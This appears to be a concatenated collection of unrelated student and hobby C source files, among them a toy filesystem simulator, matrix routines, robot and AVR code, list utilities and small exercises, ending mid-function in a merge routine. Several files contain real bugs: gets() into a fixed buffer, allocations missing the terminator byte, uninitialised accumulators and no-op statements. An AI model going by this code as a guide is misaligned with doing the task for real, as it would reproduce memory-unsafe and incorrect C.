buff[i] = str[i];
}
buff[i] = '\0';
*length = atoi(buff);
*index = ++i;
}
static
t_word_node *_create_node_from_line(const char *str)
{
int len = -1;
int i = 0;
int weight = 1;
char *word = NULL;
t_word_node *node = NULL;
_get_word_size(&len, &i, str);
word = strndup(&str[i], len);
weight = atoi(&str[i + len + 1]);
if (word != NULL) {
if ((node = malloc(sizeof(t_word_node))) == NULL) {
printf("Malloc Error _create_node\n");
free(word);
return NULL;
}
node->word = word;
node->weight = weight;
node->next = NULL;
return node;
}
return NULL;
}
void dm_push_text(const char *str)
{
t_dictionary *d = get_dictionary_manager();
t_word_node *node = _create_node_from_line(str);
if (node == NULL) {
printf("[ERROR]\"%s\" has been skipped\n", str);
return;
}
if (d->list == NULL) {
d->list = node;
} else {
node->next = d->list;
d->list = node;
}
}
void dm_print_words(void)
{
t_dictionary *d = get_dictionary_manager();
t_word_node *node = d->list;
printf("=== Words loaded ====\n");
while (node)
{
printf("%s\n", node->word);
node = node->next;
}
}
|
C
|
//
// main.c
// Menu
//
// Created by Gladwin Tirkey on 1/27/19.
// Copyright © 2019 Gladwin Tirkey. All rights reserved.
//
#include <stdio.h>
#define size 100
int array[size];
int n;
void create();
void display();
void insert(int pos, int value);
void delete(int pos);
int main() {
/*
Develop and Implement a menu drivemn program in C for the followoing Array operations
a) Creating an array of N integer element
b) Displaying an array
c) Inserting an array
d) Deleting an array
*/
int input, pos, value;
printf("menu\n");
printf("\t [1] Create \n");
printf("\t [2] Display \n");
printf("\t [3] Insert \n");
printf("\t [4] Delete \n");
printf("\t [0] Exit \n");
printf("input: ");
scanf("%d", &input);
if(input == 1){
create();
}
else if(input == 2){
display();
}
else if(input == 3){
printf("At what position you want the element inserted?\n");
scanf("%d", &pos);
printf("What value ?\n");
scanf("%d", &value);
insert(pos, value);
}
else if(input == 4){
printf("At what position you want to delete the element ?\n");
scanf("%d", &pos);
delete(pos);
}else if(input == 0)
return 0;
}
void create(){
int i, len;
printf("How many elements ?\n");
scanf("%d", &n);
for(i = 0 ; i < n ; i++){
printf("Element no %d: ", i);
scanf("%d",&array[i]);
}
printf("\n");
main();
}
void display(){
int i;
printf("Display Elements\n");
for(i = 0 ; i < n ; i++){
printf("Element no %d: %d\n",i ,array[i]);
}
main();
}
void insert(int pos, int value){
array[pos] = value;
main();
}
void delete(int pos){
array[pos] = 0;
main();
}
|
C
|
#include <time.h>
#define PINK 0
#define ORANGE 1
#define GREEN 2
#define BLUE 4
#define TRACKSIZETHRESHOLD 10
#define MAXSPEED 200
#define TURNSPEED 3
void drive_random()
{
srand ( time(NULL) );
int direction=rand()%361-180; //-180 to +180
if(direction<0)
{
set_create_total_angle(0);
create_drive_direct(-200,200);
while(get_create_total_angle(0.1)>direction);
}
else
{
set_create_total_angle(0);
create_drive_direct(200,-200);
while(get_create_total_angle(0.1)<direction);
}
int i=0;
while(i<1000)
{
if(get_create_lbump(0.1)||get_create_rbump(0.1)) //if bumper pressed
{
i=2000;
}
else
{
create_drive_direct(300,300);
}
i++;
msleep(1);
}
create_stop();
}
void track(int color)
{
track_update();
if(track_size(color,0) > TRACKSIZETHRESHOLD) //if object with color is visible
{
create_drive_direct(MAXSPEED+(track_x(color,0)-80)*TURNSPEED,MAXSPEED-(track_x(color,0)-80)*TURNSPEED);
}
else //if object with color is not visible
{
create_drive_direct(200,-200);
}
}
// reads an unsigned byte 0-255
int serial_get_byte()
{
char byte;
if (serial_read(&byte, 1))
{
return (unsigned char)byte;
}
else
{
return -1;
}
}
// writes an unsigned byte 0-255
void serial_put_byte(unsigned char ubyte)
{
char byte = (char)ubyte;
while (!serial_write(&byte, 1)) { }
}
// gets create's charge in mAh 0-3000
uint16_t create_get_charge()
{
int b;
char a=17;
serial_put_byte((unsigned)142);
serial_put_byte((unsigned)25);
while (a>16)
{
sleep(0.1);
a=serial_get_byte();
}
b=(a<<8)|(serial_get_byte());
return b;
}
void charge()
{
printf("\nemty charge-function\n");
msleep("100");
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int box = 1;
for (int apple = 1; apple <= 15; apple += 2) {
box = box * apple;
}
printf("Apples: %d\n", box);
return EXIT_SUCCESS;
}
|
C
|
#include <avr/io.h>
#include <util/delay.h>
#define SECOND 1000
#define F_CPU 1200000
int main(void)
{
DDRB = (1 << DDB0) | (1 << DDB1) | (1 << DDB2);
PORTB = 0;
const int mGreen = SECOND * 10;
const int mYellow = SECOND * 3;
const int mRed = mGreen + mYellow;
while(1)
{
PORTB = (1 << DDB2);
_delay_ms(mGreen);
PORTB = (1 << DDB1);
_delay_ms(mYellow);
PORTB = (1 << DDB0);
_delay_ms(mRed);
}
}
|
C
|
#include "hardwaretest_keyboard.h"
#include "hwkeyboard.h"
#include <assert.h>
#include <string.h>
#include <hwclock.h>
typedef struct KeyboardDriver
{
Driver base;
u32 irqCount;
} KeyboardDriver;
static KeyboardDriver keyboardDriver;
typedef struct ControlKeyTest
{
int code;
const char* name;
bool hasTyped;
} ControlKeyTest;
/*!
* Waits until the user releases any pressed keys
*/
static void waitNoPress(void)
{
// Wait until we release all keys
while(kyb_isPressed(0)){
}
kyb_clearBuffer();
}
// Interrupt handler
void keyboard_handleIRQ(u32 data0, u32 data1, u32 data2, u32 data3)
{
keyboardDriver.irqCount++;
}
InterruptHandler keyboardHandlers[HWKYB_INTERRUPT_MAX] =
{
&keyboard_handleIRQ
};
static ControlKeyTest controlKeyTest[] =
{
{KEY_BACKSPACE, "Backspace", true},
{KEY_RETURN, "Return", true},
{KEY_INSERT, "Insert", true},
{KEY_DELETE, "Delete", true},
{KEY_UP, "Up", true},
{KEY_DOWN, "Down", true},
{KEY_LEFT, "Left", true},
{KEY_RIGHT, "Right", true},
{KEY_SHIFT, "Shift", false},
{KEY_CONTROL, "Control", false},
{KEY_TAB, "Tab", true},
{ 0, NULL}
};
static void hardwareTest_keyboard(void);
void hardwareTest_keyboard_init(DeviceTest* data)
{
keyboardDriver.base.handlers = keyboardHandlers;
keyboardDriver.base.numHanders =
sizeof(keyboardHandlers)/sizeof(InterruptHandler);
data->driver = &keyboardDriver.base;
data->testFunc = &hardwareTest_keyboard;
}
static bool readString(char* buf, int bufsize)
{
bool hasCtrl=false;
int done = 0;
char* ptr = buf;
*ptr = 0;
int cursorCh=32;
kyb_clearBuffer();
scr_printf(" ");
do
{
int code;
KeyEvent type = kyb_getNext(&code, false);
switch(type)
{
// Key Pressed
case kKeyEvent_Press:
if (code==KEY_CONTROL) hasCtrl=true;
break;
// Key Typed
case kKeyEvent_Typed:
if (code==KEY_RETURN) {
done = 1;
} else if (code==KEY_BACKSPACE) {
if ((ptr-buf)>0) {
scr_printf("\b");
ptr--;
*ptr = 0;
}
} if (code>=KEY_ASCII_FIRST && code<=KEY_ASCII_LAST) {
if ( (ptr-buf) < (bufsize-1)) {
scr_printf("\b%c ",code);
*ptr++ = (char)code;
*ptr = 0;
}
}
break;
// Key released
case kKeyEvent_Release:
if (code==KEY_CONTROL) {
hasCtrl=false;
} else if (code==KEY_BACKSPACE) {
if (hasCtrl) {
*buf = 0;
done = 2;
}
}
break;
}
scr_printf("\b%c", (done==2) ? ' ' : cursorCh);
cursorCh = cursorCh==32 ? 22 : 32;
} while(!done);
waitNoPress();
return done==1 ? true : false;
}
static void hardwareTest_keyboard(void)
{
scr_printf("Keyboard Tests\n");
int code;
// Test string reading
char buf[32];
const char* expectedStr = "Hello World!";
scr_printf(" Type '%s' and press Enter:\n >", expectedStr);
bool res = readString(buf, sizeof(buf));
check_nl(strcmp(buf, expectedStr)==0);
check(keyboardDriver.irqCount==0);
kyb_setIRQMode(true);
scr_printf(" Enabled Keyboard IRQ Mode. Press any key to test. ");
// I'm waiting for any events, which in turn means that an interrupt must
// occur
while(!kyb_getNext(&code,true)) {
// do nothing
}
check_nl(keyboardDriver.irqCount!=0);
waitNoPress();
//
// Test all non-ASCII keys
//
scr_printf(" Testing special keys. Press and release them ONCE quickly.\n");
ControlKeyTest* test = &controlKeyTest[0];
while(test->name) {
scr_printf(" Press & release %s : ", test->name);
bool ok = true;
if (ok)
ok = (kyb_getNext(&code, true)==kKeyEvent_Press) && code==test->code;
if (ok && test->hasTyped )
ok = (kyb_getNext(&code, true)==kKeyEvent_Typed) && code==test->code;
if (ok)
ok = (kyb_getNext(&code, true)==kKeyEvent_Release) && code==test->code;
scr_printf(" %s\n", ok ? "OK" : "FAILED" );
test++;
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILE 1
#define DIR 0
char *dest_path[10];
typedef struct FileOrDir
{
char *name;
int isFile;
char *content;
struct FileOrDir *parent;
struct FileOrDir *sibling;
struct FileOrDir *children_h;
struct FileOrDir *children_t;
}FileOrDir;
void pwd(FileOrDir* now)
{
FileOrDir* p=now;
char s[200];
char* t =s;
*t='\0';
t=strcat(t,"/");
while(p->parent){
t=strcat(t,p->name);
t=strcat(t,"/");
p=p->parent;
}
t=strcat(t,p->name);
printf("%s\n",strrev(t));
}
void ls(FileOrDir *now)
{
FileOrDir *fd = now->children_h;
while (fd)
{
printf("%s ",fd->name);
fd = fd->sibling;
}
printf("\n");
}
void split_filepath(char *src_path, char **dest_path, char *separator,int *count)
{
char *temp = NULL;
*count = 0;
if (src_path == NULL || strlen(src_path) == 0 || separator == NULL || strlen(separator) == 0)
{
return;
}
temp = strtok(src_path, separator);
while (temp != NULL)
{
*dest_path++ = temp;
temp = strtok(NULL, separator);
*count++;
}
}
int find_dir(FileOrDir** targetDir, char* dir_name)
{
int flag;
FileOrDir* targetDir_child;
targetDir_child = (*targetDir)->children_h;
flag = 0;
while (targetDir_child)
{
if ((strcmp(targetDir_child->name, dir_name) == 0) && (targetDir_child->isFile == DIR))
{
flag = 1;
*targetDir = targetDir_child;
break;
}
targetDir_child = targetDir_child->sibling;
}
return flag;
}
int find_file(FileOrDir** targetFile, char* file_name)
{
int flag;
FileOrDir* targetFile_child;
targetFile_child = (*targetFile)->children_h;
flag = 0;
while (targetFile_child)
{
if ((strcmp(targetFile_child->name, file_name) == 0) && (targetFile_child->isFile == FILE))
{
flag = 1;
*targetFile = targetFile_child;
break;
}
targetFile_child = targetFile_child->sibling;
}
return flag;
}
void cat(char* filename, FileOrDir* now, FileOrDir* root)
{
int i;
FileOrDir *temp;
int flag = 1;
int count = 0;
split_filepath(filename, dest_path, "/", &count);
if (count <= 1)
{
printf("error\n");
}
else
{
if (strcmp(dest_path[0], ".") == 0)
{
temp = now;
for (i = 1; i < count - 1; i++)
{
if (find_dir(&temp, dest_path[i]) == 0)
{
flag = 0;
break;
}
}
if (flag == 1)
{
if (find_file(&temp, dest_path[count-1]))//找到文件
{
if (temp->content)//如果该文件曾被写入内容
{
printf("%s\n",temp->content);
}
else//如果该文件未曾被写入内容
{
printf("\n");
}
}
else//找不到对应的文件
{
printf("error\n");
}
}
else//找不到对应目录
{
printf("error\n");
}
}
else if (strcmp(dest_path[0],"...") == 0)//从根目录进行查找
{
temp = root;
for (i = 1; i < count - 1; i++)
{
if (find_dir(&temp, dest_path[i]) == 0)
{
flag = 0;
break;
}
}
if (flag == 1)
{
if (find_file(&temp, dest_path[count-1]))
{
if (temp->content)
{
printf("%s\n",temp->content);
}
else
{
printf("\n");
}
}
else
{
printf("error\n");
}
}
else
{
printf("error\n");
}
}
}
}
void makdir(FileOrDir* now, char* filename)
{
FileOrDir *now_lastchild = now->children_t;
FileOrDir *new_dir = (FileOrDir*)malloc(sizeof(FileOrDir));
new_dir->name = (char*)malloc(sizeof(char)*strlen(filename));
strcpy(new_dir->name, filename);
new_dir->isFile = DIR;
new_dir->parent = now;
new_dir->sibling = NULL;
new_dir->children_h = NULL;
new_dir->children_t = NULL;
if (now_lastchild)
{
now_lastchild->sibling = new_dir;
now->children_t = new_dir;
}
else
{
now->children_h = now->children_t = new_dir;
}
}
void touch(FileOrDir* now, char* filename)
{
FileOrDir* now_lastchild = now->children_t;
FileOrDir* new_file = (FileOrDir*)malloc(sizeof(FileOrDir));
new_file->name = (char*)malloc(sizeof(char)*strlen(filename));
strcpy(new_file->name, filename);
new_file->isFile = FILE;
new_file->parent = now;
new_file->sibling = NULL;
new_file->children_h = NULL;
new_file->children_t = NULL;
new_file->content = NULL;
if (now_lastchild)
{
now_lastchild->sibling = new_file;
now->children_t = new_file;
}
else
{
now->children_h = now->children_t = new_file;
}
}
void tac(char* filename, char* content, FileOrDir* now, FileOrDir* root)
{
int i;
FileOrDir *temp;
int count = 0;
int flag = 1;
split_filepath(filename, dest_path, "/", &count);
if (count <= 1)
{
printf("error\n");
}
else
{
if (strcmp(dest_path[0], ".") == 0)
{
temp = now;
for (i = 1; i < count - 1; i++)
{
if (find_dir(&temp, dest_path[i]) == 0)
{
flag = 0;
break;
}
}
if (flag == 1)
{
if (find_file(&temp, dest_path[count-1]))
{
if (temp->content)
{
free(temp->content);
temp->content = NULL;
}
temp->content = (char*)malloc(sizeof(char)*strlen(content));
strcpy(temp->content, content);
}
else
{
printf("error\n");
}
}
else
{
printf("error\n");
}
}
else if (strcmp(dest_path[0], "...") == 0)
{
temp = root;
for (i = 0; i < count - 1; i++)
{
if (find_dir(&temp, dest_path[i]) == 0)
{
flag = 0;
break;
}
}
if (flag == 1)
{
if (find_file(&temp, dest_path[count - 1]))
{
if (temp->content)
{
free(temp->content);
temp->content = NULL;
}
temp->content = (char*)malloc(sizeof(char)*strlen(content));
strcpy(temp->content, content);
}
else
{
printf("error\n");
}
}
else
{
printf("error\n");
}
}
else
{
printf("error\n");
}
}
}
void cd(FileOrDir** now, FileOrDir* root)
{
int i;
FileOrDir *temp;
int flag = 1;
int count = 0;
char filename[50];
if (getchar() == '\n')
{
*now = root;
}
else
{
scanf("%s",filename);
split_filepath(filename, dest_path, "/", &count);
if (count == 0)
{
if (strcmp(filename, "..") == 0)//上一级目录
{
if (*now != root)
{
*now = (*now)->parent;
}
}
else //字符串
{
temp = *now;
if (find_dir(&temp, filename))
{
*now = temp;
}
else
{
printf("error\n");
}
}
}
else//从根目录开始查找
{
temp = root;
flag = 1;
for (i = 1; i < count; i++)
{
if (find_dir(&temp, dest_path[i]) == 0)
{
flag == 0;
break;
}
}
if (flag == 1)
{
*now = temp;
}
else
{
printf("error\n");
}
}
}
}
int main()
{
int k;
int num;//待输入的命令数
//char *cmd; 错误,野指针,未分配内存
char cmd[50];//待输入的命令
char filename[50];
char content[50];
FileOrDir *now;
FileOrDir *root;
root = (FileOrDir*)malloc(sizeof(FileOrDir));
root->name = "...";
root->isFile = DIR;
root->parent = NULL;
root->sibling = NULL;
root->children_h = NULL;
root->children_t = NULL;
now = root;
scanf("%d",&num);
for ( k = 0; k < num; k++)
{
scanf("%s",cmd);
if (strcmp(cmd, "pwd") == 0)
{
pwd(now);
}
else if (strcmp(cmd, "ls") == 0)
{
ls(now);
}
else if (strcmp(cmd, "cat") == 0)
{
scanf("%s",filename);
cat(filename, now, root);
}
else if (strcmp(cmd, "makdir") == 0)
{
scanf("%s",filename);
makdir(now, filename);
}
else if (strcmp(cmd, "touch") == 0)
{
scanf("%s",filename);
touch(now, filename);
}
else if (strcmp(cmd, "tac") == 0)
{
scanf("%s",filename);
gets(content);
tac(filename, content, now, root);
}
else if (strcmp(cmd, "cd") == 0)
{
cd(&now, root);
}
else
{
printf("error\n");
}
}
return 0;
}
|
C
|
#include "lib_str.h"
int ft_count_words(char const *s, char c)
{
int i;
int count;
i = -1;
count = 0;
while (s[++i])
if (s[i] != c && (!s[i + 1] || s[i + 1] == c))
count++;
return (count);
}
|
C
|
/**
*
* @file seg_free_node.c
* @brief Uncompleted implementation of "Segmented-lists free_node()"
*
*/
/*
* (yet another) Lists management library - by Antonio Dell'elce
*
*/
#include "lists.h"
#warning "this file has not been completed"
#ifdef SEGMENTED_LISTS
int
_seg_free_node(node_t *Node)
{
if (!Node) return 1;
if (Node->used)
{
Node->used = 0; /* release node! */
/* Increase number of Free Nodes for Node's Segment */
((listsegment_t *) Node->segment)->segfreeitems += 1;
/* *SHOULD* free() segment if completely free... */
}
else
{
return 1;
}
}
#endif /* SEGMENTED_LISTS */
#ifdef DO_NOT_COMPILE
/* normal list */
typedef struct __list_t
{
struct __node_t *first;
struct __node_t *last;
struct __node_t *current; /* if browsing a list */
int lastmsg; /* for searching */
struct __node_t *lastsearch; /* for searching */
int (*node_del_handler)(struct __node_t *);
#ifdef SEGMENTED_LISTS
/* number of node in a single segment */
int segsize;
/* first segment */
void *firstsegment;
/* last segment */
void *lastsegment;
#endif
unsigned long defaultnodesize;
unsigned long nodecnt;
} list_t;
#ifdef SEGMENTED_LISTS
typedef struct __segmented_list_t
{
int segitems;
int segfreeitems;
node_t segnodes[];
} listsegment_t;
#endif
#endif
|
C
|
/*
Write a program that will:
1. Ask the user for two variables, x and y
2. Print out the values of x and y
3. Ask the user for THE SAME x and y again
4. Print out the new values for x and y
5. Print out the addition, subtraction, and
multiplication of the two
6. Print out the value of (x * y) + (x - y) * y
7. Print out the value of x-squared and y-cubed
Bonus:
1. Find the division of the two
Hint* For divison, decimals are often used.
When using doubles scan in with %lf
and print with %f as follows
scanf("%lf", &x) printf("%f", x);
Double Bonus:
2. Find the remainder of x divided by y
Hint* the mod operator % does such function
What does (x % y) and (y % x) output?
*/
#include <stdio.h>
int main(void)
{
// Code goes here
return 0;
}
|
C
|
#include "test.h"
inline Lattice::Lattice(int N1, int N2) : Array2D<Site*>(N1,N2)
{ create_sites(N1, N2);
create_neighbour_lists(N1, N2);
}
inline void Lattice::create_sites(int N1, int N2)
{ Site* sp;
Site::set_boundary(N1, N2);
for(int i=0; i < N1; i++)
{ for(int j=0; j < N2; j++)
{ sp = new Site(i,j);
set_site_pointer(i,j,sp);
}
}
}
inline void Lattice::create_neighbours(int x, int y)
{ Site& s = get_site(x,y);
Site& nb = get_site(x+1, y);
s.add_neighbour(nb);
nb = get_site(x, y+1);
s.add_neighbour(nb);
nb = get_site(x-1, y);
s.add_neighbour(nb);
nb = get_site(x, y-1);
s.add_neighbour(nb);
}
inline void Lattice::create_neighbour_lists(int N1, int N2)
{ for(int i=0; i < N1; i++)
{ for(int j=0; j < N2; j++)
{create_neighbours(i,j);}
}
}
inline void Lattice::set_site_pointer(const int x, const int y, Site* sp)
{ Site::Orientation ort;
ort[0]= x;
ort[1]= y;
Site::check_boundary(ort);
(*this)(ort[0],ort[1]) = sp;
}
inline Site* Lattice::get_site_pointer(int x, int y)
{ Site::Orientation ort;
ort[0]= x;
ort[1]= y;
Site::check_boundary(ort);
return (*this)(ort[0],ort[1]);
}
inline Site& Lattice::get_site(const int x, const int y)
{ Site* sp = get_site_pointer(x,y);
return *sp;
}
|
C
|
int size = nums.size();
if (size == 0) {
return 0;
}
int left = 0;
// 因为有可能数组的最后一个元素的位置的下一个是我们要找的,故右边界是 len
int right = size;
while (left < right) {
int mid = left + (right - left) / 2;
// 小于 target 的元素一定不是解
if (nums[mid] < target) {
// 下一轮搜索的区间是 [mid + 1, right]
left = mid + 1;
} else {
right = mid;
}
}
return left;
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* path.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jmeier <jmeier@student.42.us.org> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/03/07 22:35:43 by jmeier #+# #+# */
/* Updated: 2019/09/22 13:46:17 by jmeier ### ########.fr */
/* */
/* ************************************************************************** */
#include "sh.h"
void hashout_bin(t_map *m_p, struct dirent *f, char *content)
{
free(ft_map_remove(m_p, ft_map_hash(m_p, f->d_name)));
ft_map_set(m_p, ft_map_hash(m_p, f->d_name), ft_strdup(content));
}
/*
** I should be shot for this joke
*/
void trie_larson(t_map *trie, char *bin, size_t len)
{
t_list *new;
t_list *ptr;
char c;
c = bin[0];
new = (t_list *)malloc(sizeof(t_list));
new->content = ft_strdup(bin);
new->content_size = len;
ptr = ft_map_remove(trie, (uint32_t)c);
new->next = ptr ? ptr : NULL;
ft_map_set(trie, (uint32_t)c, new);
}
void find_binary(DIR *dir, char *path, t_sh *sh)
{
struct dirent *f;
struct stat file_info;
unsigned len;
char *path_mod;
char *tmp;
len = ft_strlen(path);
path_mod = len > 1 && path[len - 1] != '/' ? ft_strjoin(path, "/") :
ft_strdup(path);
while ((f = readdir(dir)))
{
tmp = ft_strjoin(path_mod, f->d_name);
if (f->d_name[0] != '.' || !access(tmp, X_OK))
{
stat(tmp, &file_info);
if (S_ISREG(file_info.st_mode))
{
hashout_bin(&sh->path, f, tmp);
trie_larson(&sh->trie, f->d_name, ft_strlen(f->d_name));
}
}
free(tmp);
}
free(path_mod);
}
void update_path(t_sh *sh)
{
t_cont *env_path;
char **path_arr;
DIR *dir;
int i;
if (!(env_path = ft_map_get(&sh->env, ft_map_hash(&sh->env, "PATH"))))
return ;
path_arr = ft_strsplit(env_path->value, ':');
i = 0;
while (path_arr[i])
{
if ((dir = opendir(path_arr[i])))
{
find_binary(dir, path_arr[i], sh);
closedir(dir);
}
free(path_arr[i++]);
}
free(path_arr);
}
|
C
|
/*
Autor: Rubí E. Ramírez Milián
Compliador: gcc (Debian 8.3.0-6) 8.3.0
Para compilar: gcc -o Problema4 Problema4.c
Fecha: Wed Apr 28 16:31:03 CST 2021
Librerías: stdio (u otras)
Entradas, Salidas, Resumen:
*/
//Librerias
#include <stdio.h>
#include <math.h>
//Declaración e inicialización de variables globales
void fancy_print(float A[3][3]);
void multiplicacion_escalar(float x, float A[3][3]);
void suma_matrices(float A[3][3], float B[3][3]);
void resta_matrices(float A[3][3], float B[3][3]);
void multiplicacion_matrices(float A[3][3], float B[3][3]);
float determinante(float A[3][3]);
float cofactor(float A[3][3], int i, int j);
void transpuesta(float A[3][3], float B[3][3]);
void inversa(float A[3][3]);
void reduccion_Gauss(float A[3][3]);
void reduccion_Gauss_Jordan(float A[3][3]);
void main() /* Rellenamos una matriz */
{
int i, j;
float x, A[3][3], B[3][3];
float C[3][3];
/* rellenamos las matrices */
for (i = 0; i < 3; i++)
{
for (j = 0; j < 3; j++)
{
printf("Ingrese a_%d %d y b_%d %d \n", (i + 1), (j + 1), (i + 1), (j + 1));
scanf(" %f %f", &A[i][j], &B[i][j]);
}
}
puts("Ingrese un escalar");
scanf(" %f", &x);
puts("Multiplicación por ecalar");
multiplicacion_escalar(x, A);
puts(" ");
puts("Suma de A y B");
suma_matrices(A, B);
puts(" ");
puts("Resta de A y B");
resta_matrices(A, B);
puts(" ");
puts("Multiplicación de A por B");
multiplicacion_matrices(A, B);
puts(" ");
puts("Transpuesta de A");
transpuesta(A, C);
fancy_print(C);
puts(" ");
puts("Determinante de A");
printf("%f", determinante(A));
puts(" ");
puts("Inversa de A");
inversa(A);
puts(" ");
puts("Reducción de Gauss de A");
reduccion_Gauss(A);
puts(" ");
puts("Reducción de Gauss-Jordan de B");
reduccion_Gauss_Jordan(B);
puts(" ");
}
void fancy_print(float A[3][3])
{
/*visualizamos la matriz*/
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
printf(" %s %f ", (j % 3 == 0 ? "\n " : " "), A[i][j]);
}
}
}
void multiplicacion_escalar(float x, float A[3][3])
{
float C[3][3];
// Recorremos la matriz
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
C[i][j] = x * A[i][j];
}
}
/*visualizamos la matriz*/
fancy_print(C);
}
void suma_matrices(float A[3][3], float B[3][3])
{
float C[3][3];
// Recorremos la matriz
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
C[i][j] = A[i][j] + B[i][j];
}
}
/*visualizamos la matriz*/
fancy_print(C);
}
void resta_matrices(float A[3][3], float B[3][3])
{
float C[3][3];
// Recorremos la matriz
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
C[i][j] = A[i][j] - B[i][j];
}
}
/*visualizamos la matriz*/
fancy_print(C);
}
void multiplicacion_matrices(float A[3][3], float B[3][3])
{
float C[3][3];
// Recorremos la matriz
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
for (int k = 0; k < 3; k++)
{
C[i][j] += A[i][k] * B[k][j];
}
}
}
/*visualizamos la matriz*/
fancy_print(C);
}
void transpuesta(float A[3][3], float B[3][3])
{
// Recorremos la matriz
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
B[i][j] = A[j][i];
}
}
}
float cofactor(float A[3][3], int i, int j)
{
//Para calcular cofactores necesitamos calcular (-1)^{i+j}det(A), los indices se corren en módulo y ya se toma en cuenta el signo
float C_ij;
int p, q, r, s;
p = (1 + i) % 3;
q = (1 + j) % 3;
r = (2 + i) % 3;
s = (2 + j) % 3;
C_ij = A[p][q] * A[r][s] - A[p][s] * A[r][q];
return C_ij;
}
float determinante(float A[3][3])
{
//Para una matriz de 3x3 se calcula como la sumatoria de las componentes de alguna fila o columan multiplicadas por sus cofactor respectivo.
float det;
for (int column = 0; column < 3; column++)
{
det += A[0][column] * cofactor(A, 0, column);
//printf("%f", det);
}
return det;
}
void inversa(float A[3][3])
{
float C[3][3];
//Para la inversa necesitamos una matriz adjunta que es la transpuesta de la matriz de cofactores
//Recorremos la matriz para que C[3][3] se vuelva la matriz de cofactores
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
C[i][j] = cofactor(A, i, j);
}
}
//Luego C debe volverse la matriz transpuesta para ser la adjunta para eso llamamos a la función tanspuesta
float B[3][3]; //matriz adjunta
transpuesta(C, B);
float determinante_inverso = pow(determinante(A), -1);
//inversa es entonces la multiplicación de la matriz adjunta por el determinante;
multiplicacion_escalar(determinante_inverso, B);
}
void reduccion_Gauss(float A[3][3])
{
//Recorremos las diagonal con el primer ciclo for para hacer un pivote
for(int i=0; i <3; i++){
float pivote=A[i][i];
//recorremos la columna de numeros que está abajo de cada pivote para volverlo cero y convertirlo en una matriz triangular
for(int j=i+1;j<3;j++){
float aux = A[j][i]/pivote;
// Cambiamos la fila completa haciendo la operación correspondiente
for(int k=0;k<3; k++){
A[j][k]=A[j][k]-aux*A[i][k];
}
}
}
/*visualizamos la matriz*/
fancy_print(A);
}
void reduccion_Gauss_Jordan(float A[3][3])
{
float pivote, aux;
//Recorremos las diagonal con el primer ciclo for para hacer un pivote
for (int i = 0; i < 3; i++)
{
pivote = A[i][i];
//recorremos la columna de numeros que donde se encuentra el pivote pero sin tomarlo en cuenta
for (int j = 0; j < 3; j++)
{
aux = A[j][i] / pivote;
if(j!=i){
// Cambiamos la fila completa haciendo la operación correspondiente
for (int k = 0; k < 3; k++)
{
A[j][k] = A[j][k] - aux * A[i][k];
}
}
}
}
/*visualizamos la matriz*/
fancy_print(A);
}
|
C
|
/**
* DSC Assessment 1 - Course 1 - Session 2.1
* Solution By: Abdelrahman Helaly <AH3laly@gmail.com> <github.com/AH3laly>
*/
// Question 21:
// Write a program to display cross or X-shape using stars pattern.
// * *
// * *
// * *
// * *
// * *
// * *
// * *
// * *
// * *
// * *
#include <stdio.h>
// We can change the size of the shape here
#define SHAPE_SIZE 10
int main(){
int width, height, r, c, star1, star2;
width = SHAPE_SIZE;
if(SHAPE_SIZE % 2 == 0){ // I Like the number to be odd
width+=1;
}
height = width;
star1=1;
star2=width;
for(r=1; r<=height; r++){
if((star1 - star2) == 0){
star1++;
star2--;
continue;
}
for(c=1; c<=width; c++){
if(c == star1 || c == star2){
printf("*");
} else {
printf(" ");
}
}
star1++;
star2--;
printf("\n");
}
return 0;
}
|
C
|
#include <stdio.h>
//#define ADD 1
#define MIN 0
int main(){
int num1, num2;
printf("두개의 정수 입력: ");
scanf("%d %d", &num1, &num2);
#ifndef ADD
printf("%d + %d = %d \n",num1,num2,num1+num2);
#endif
#ifdef MIN
printf("%d - %d = %d \n", num1, num2, num1-num2);
#endif
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* field_to_struct.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: dkotenko <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/11/25 16:02:14 by dkotenko #+# #+# */
/* Updated: 2017/11/25 16:02:16 by dkotenko ### ########.fr */
/* */
/* ************************************************************************** */
#include "fillit.h"
int max_crd(t_fiqure **f, int num)
{
int fiqura;
int element;
int max;
max = 0;
fiqura = 0;
while (fiqura < num)
{
element = 0;
while (element < 4)
{
if (f[fiqura][element].x > max)
max = f[fiqura][element].x;
if (f[fiqura][element].y > max)
max = f[fiqura][element].y;
element++;
}
fiqura++;
}
return (max + 1);
}
t_field *field_to_struct(char *str, t_fiqure **f, int plus)
{
int num_sqr;
int x;
int y;
int i;
t_field *struct_field;
x = 0;
y = 0;
i = 0;
num_sqr = max_crd(f, num_fiqure(str)) * max_crd(f, num_fiqure(str)) + plus;
struct_field = (t_field*)malloc(sizeof(t_field) * num_sqr);
while (i < num_sqr)
{
struct_field[i].x = x;
struct_field[i].y = y;
struct_field[i].point = '.';
if (ft_sqrt(num_sqr) == ++x)
{
x = 0;
y++;
}
i++;
}
return (struct_field);
}
|
C
|
#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#include "merge.h"
int merge(int *A, int p, int q, int r) {
int n1 = q - p, n2 = r - q;
int *l_arr, *r_arr;
int i, j ,k;
/* sanity check */
assert((p <= q) && (q < r));
assert((n1 >= 0) && (n2 >= 0));
l_arr = malloc(sizeof(*l_arr) * (n1 + 1));
r_arr = malloc(sizeof(*l_arr) * (n2 + 1));
memcpy(l_arr, A, sizeof(*l_arr) * n1);
memcpy(r_arr, A + n1, sizeof(*r_arr) * n2);
l_arr[n1] = INT_MAX;
r_arr[n2] = INT_MAX;
i = j = 0;
